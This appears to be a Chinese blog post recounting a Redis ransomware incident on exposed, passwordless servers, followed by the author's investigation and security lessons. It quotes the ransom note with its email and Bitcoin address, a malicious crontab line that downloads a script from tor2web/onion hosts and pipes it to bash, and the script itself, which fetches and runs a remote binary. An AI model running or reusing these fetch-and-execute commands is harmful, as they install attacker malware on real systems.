又一次redis被删库跑路,索要0.6比特币

还在和媳妇儿逛街,突然同事打来电话说redis库被清空。

于是,媳妇儿说你真是乌鸦嘴,早上还说redis如何被提权的事情。

怎么刚出来就碰上了?

会不会是你搞的?

于是无形中又背锅了。

见×××姐如此着急,边安慰，边提醒让同事查一下,是什么时候发生的事情,受害面积有多大？

但是×××姐很镇静的说,不可以啊,我们ucloud云商上的redis的机器,是禁止外网登录的,
所有外网的6379端口都被禁用了。

仅限本机登录,于是,我问你有加密码嘛？×××姐说,便于程序研发效率,内网环境,自然就没有加密码。

于是,匆匆忙忙赶回去,登录上机器,通过uclod控制台确认看了下。

我擦被那个蠢货开启了一台机器的redis外网,而这台机器,
××××××面除了一个监控调度的程序,是和其他机器完全隔离的,
没有任何业务直接关联的程序,除了redis,而且这台机器也不能连接到其他机器的redis。

这台机器没有任何机密核心数据。

结果登陆上机器就出现了

Warning! 
Your File and DataBase is downloaded and backed up on our secured servers. To recover your lost data : Send 0.6 BTC to our BitCoin Address and Contact us by eMail with your server IP Address and a Proof of Payment. Any eMail without your server IP Address and a Proof of Payment together will be ignored. We will drop the backup after 24 hours. You are welcome! 
! 
Mail:dbsecuritys@protonmail.com 
Bi 
BitCoin:3JPaDCoRnQatEEDoY59KtgF38GZiL5Kiny

遇上此事,别慌张,显然是没有备份你数据的，给了钱也不会有数据。

倒也是有人给付款,详细查看下面阿里云官方文章。

科普一下：
比特币单价,写此文时,价格是1BTC=44871.5元

正式走起....

习惯性的先crotab -l,看了下,因为怕其他命令被篡改。

54 * * * * (wget -qO- -U- U- https://ddgsdk6oou6znsdn.tor2web.io/i.sh||wg||wget -qO- -U- U- http://ddgsdk6oou6znsdn.tor2web.me/i.sh||wg||wget -qO- -U- U- https://ddgsdk6oou6znsdn.onion.pet/i.sh||wg||wget -qO- -U- U- https://ddgsdk6oou6znsdn.onion.ws/i.sh)|bas|bash
一看高明了,直接使用了暗网地址。

自己也尝试用了洋葱路由经过各种设置到了暗网去访问,发现访问不了。
于是google了一下可谓是怨声载道。

声明:需要在能访问谷歌的前提下,点击以下链接。

原文地址

看不懂英文点击这里

原来坑不止这一个,于是想起以前的hadoop yarn的悲情故事。
查看到了阿里云先知社区的文章,如此熟悉又那么陌生。

紧接着确认了机器受害的情况,发现是在周六3点左右,

谁TM这时候搞,具有混淆性，乃至怀疑到了是不是内鬼所为,登录机器一查。

被清redis库的机器上所有2018年11月3号的日志,last信息,以及你能脑补到的,都被删除了。

唯独和唯一一台被开启外网redis端口机器不同的是:

"这些被清redis库机器的root home data目录下属于的数据都在,也并没有warning.txt."

毁坏程度可以查看阿里云官网脚本(虽然我们任务计划里显示的脚本只能下载下面这么一个)

内容如下:

exec &>/dev/null
if ! ps -p $(< /tmp/.X11-lock); then
    x=/var/tmp/.x
    wget -qU- http://malwregafeg2fdjn.tor2web.me/.$(uname -m) -O$x;chmod 777 $x;$x;rm -f $x
fi

删库跑路加勒索，Redis勒索事件爆发

但参考上面文档以及直接受损害的机器,明显就是root,home，data目录都被删。

脚本丝毫没体现出备份到他们数据库的意思。

看下人家10秒之内就可以抵挡,你垃圾Ucloud，并没有动静.
可谓是大厂和小厂的天壤之别。

来不及悲伤与埋怨,媳妇儿也明知道重要数据都是已转移。

接下来的事情,就是确认其他redis机器,受害面。

以及弥补方法。

据同事说删除了5台机器的数据估计直接是flushdb all.

唯独不一样的是,被清库的所有redis机器上面的文件目录都在,
而且也没有任何可疑的进程,更没有任务计划。

如果是***远程操作清除日志，奈何非要选择z只清除清库当天的日记。以及清除当天登录消息。甚至如此了解。让人不得不防是不是内鬼行为？

在数据有挽回希望的同时,小媳妇儿心理由于没有好好逛街,而超级不爽。

人漂亮,技术也好，人缘自然不差的她,甚是憋屈。

虽然每一个离职人的权限都收回了,然而被一台没有在乎的机器,被不知名的人从中作梗,害人害己,显然让人为之怀疑这些搞破坏处心积虑的人之目的。

由于害怕被APT,查遍了所有机器,以及所有的秘钥认证。

于是,笔者推荐用jumpserver一定要严格的把控好权限,就算你删了日志又何妨,有本事你来删除我的跳转机日志。

毕竟权限大到好几个人都有登录嫌疑。又不好定位。

出事了开发人员大多都只管我现在不能用了,至于发生了什么,大抵谁都不会搭理。

而在这件事情中,自己的感觉是每一个思维模式从安全的角度出发。而媳妇儿作为大数据运维,是从运维的角度出发。

因此还是出现了分歧，比如她就会认为是内鬼所有，当然这个几率很大，他会从当下时间去分析，然而在安全方向有一个最可怕的,那就是APT。

我不急于一时搞你,我就埋藏在这里，用上长时间去抓包,分析你业务,***你机器，毕竟敌人在暗处，你在明处。

如果是内鬼,又何必写别人的比特币地址。因此种种作案手法,还是充满嫌疑。

能做的就是换跳板机,做好最小授权。最后我提议上蜜罐。

管理实际上最难的一件事,无论是管人还是技术,随便一个冷区,容易忽视的冷区,都可能成为歹徒兴风作浪的切入点。

而做一个技术人,术业有专攻,哪怕你再聪明,永远做不到绝对的安全。

还记得初入职场,清华大学毕业的CTO给在下的一句话,知道你自己肩上的担子多重吗？

我的回答是知道：因为我是有root权限的人......